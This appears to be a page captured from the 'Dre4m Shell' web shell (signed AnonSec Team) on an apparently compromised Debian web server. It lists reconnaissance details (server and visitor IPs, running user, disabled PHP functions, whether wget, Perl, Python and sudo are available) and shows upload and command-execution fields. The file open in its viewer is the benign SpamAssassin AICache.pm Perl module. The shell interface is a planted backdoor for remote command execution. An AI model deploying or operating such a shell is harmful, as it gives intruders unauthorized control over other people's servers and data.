Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.226.222.148
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/perl5/Mail/SpamAssassin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/perl5/Mail/SpamAssassin/AICache.pm
# <@LICENSE>
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to you under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at:
# 
#     http://www.apache.org/licenses/LICENSE-2.0
# 
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# </@LICENSE>

=head1 NAME

Mail::SpamAssassin::AICache - provide access to cached information for
ArchiveIterator

=head1 DESCRIPTION

This module allows ArchiveIterator to use cached atime information instead of
having to read every message separately.

=head1 PUBLIC METHODS

=over 4

=cut

package Mail::SpamAssassin::AICache;

use File::Spec;
use File::Path;
use File::Basename;
use Mail::SpamAssassin::Logger;

use strict;
use warnings;
use re 'taint';
use Errno qw(EBADF);

=item new()

Generates a new cache object.

=back

=cut

sub new {
  my $class = shift;
  $class = ref($class) || $class;

  my $self = shift;
  if (!defined $self) { $self = {}; }

  $self->{cache} = {};
  $self->{dirty} = 0;
  $self->{prefix} ||= '/';

  my $use_cache = 1;

  # be sure to use rel2abs() here, since otherwise relative paths
  # are broken by the prefix stuff
  if ($self->{type} eq 'dir') {
    $self->{cache_file} = File::Spec->catdir(
                $self->{prefix},
                File::Spec->rel2abs($self->{path}),
                '.spamassassin_cache');

    my @stat = stat($self->{cache_file});
    @stat  or dbg("AIcache: no access to %s: %s", $self->{cache_file}, $!);
    $self->{cache_mtime} = $stat[9] || 0;
  }
  else {
    my @split = File::Spec->splitpath($self->{path});
    $self->{cache_file} = File::Spec->catdir(
                $self->{prefix},
                File::Spec->rel2abs($split[1]),
                join('_', '.spamassassin_cache', $self->{type}, $split[2]));

    my @stat = stat($self->{cache_file});
    @stat  or dbg("AIcache: no access to %s: %s", $self->{cache_file}, $!);
    $self->{cache_mtime} = $stat[9] || 0;

    # for mbox and mbx, verify whether mtime on cache file is >= mtime of
    # messages file.  if it is, use it, otherwise don't.
    @stat = stat($self->{path});
    @stat  or dbg("AIcache: no access to %s: %s", $self->{path}, $!);
    if ($stat[9] > $self->{cache_mtime}) {
      $use_cache = 0;
    }
  }
  $self->{cache_file} = File::Spec->canonpath($self->{cache_file});

  # go ahead and read in the cache information
  local *CACHE;
  if (!$use_cache) {
    # not in use
  } elsif (!open(CACHE, $self->{cache_file})) {
    dbg("AIcache: cannot open AI cache file (%s): %s", $self->{cache_file},$!);
  } else {
    for ($!=0; defined($_=<CACHE>); $!=0) {
      my($k,$v) = split(/\t/, $_);
      next unless (defined $k && defined $v);
      $self->{cache}->{$k} = $v;
    }
    defined $_ || $!==0  or
      $!==EBADF ? dbg("AIcache: error reading from AI cache file: $!")
                : warn "error reading from AI cache file: $!";
    close CACHE
      or die "error closing AI cache file (".$self->{cache_file}."): $!";
  }

  bless($self,$class);
  $self;
}

sub count {
  my ($self) = @_;
  return keys %{$self->{cache}};
}

sub check {
  my ($self, $name) = @_;

  return $self->{cache} unless $name;

  # for dir collections: just use the info on a file, if an entry
  # exists for that file.  it's very unlikely that a file will be
  # changed to contain a different Date header, and it's slow to check.
  # return if ($self->{type} eq 'dir' && (stat($name))[9] > $self->{cache_mtime});

  $name = $self->canon($name);
  return $self->{cache}->{$name};
}

sub update {
  my ($self, $name, $date) = @_;

  return unless $name;
  $name = $self->canon($name);

  # if information is different than cached version, set dirty and update
  if (!exists $self->{cache}->{$name} || $self->{cache}->{$name} != $date) {
    $self->{cache}->{$name} = $date;
    $self->{dirty} = 1;
  }
}

sub finish {
  my ($self) = @_;

  return unless $self->{dirty};

  # Cache is dirty, so write out new file

  # create enclosing dir tree, if required
  eval {
    mkpath(dirname($self->{cache_file}));
    1;
  } or do {
    my $eval_stat = $@ ne '' ? $@ : "errno=$!";  chomp $eval_stat;
    warn "cannot mkpath for AI cache file ($self->{cache_file}): $eval_stat\n";
  };

  my $towrite = '';
  while(my($k,$v) = each %{$self->{cache}}) {
    $towrite .= "$k\t$v\n";
  }

  {
    # ignore signals while we're writing this file
    local $SIG{'INT'} = 'IGNORE';
    local $SIG{'TERM'} = 'IGNORE';

    if (!open(CACHE, ">".$self->{cache_file}))
    {
      warn "creating AI cache file failed (".$self->{cache_file}."): $!";
      # TODO: should we delete it/clean it up?
    }
    else {
      print CACHE $towrite
        or warn "error writing to AI cache file: $!";
      close CACHE
        or warn "error closing AI cache file (".$self->{cache_file}."): $!";
    }
  }

  return;
}

sub canon {
  my ($self, $name) = @_;

  if ($self->{type} eq 'dir') {
    # strip off dirs, just look at filename
    $name = (File::Spec->splitpath($name))[2];
  }
  else {
    # we may get in a "/path/mbox.offset", so trim to just offset as necessary
    $name =~ s/^.+\.(\d+)$/$1/;
  }
  return $name;
}

# ---------------------------------------------------------------------------

1;
__END__

Anon7 - 2022
AnonSec Team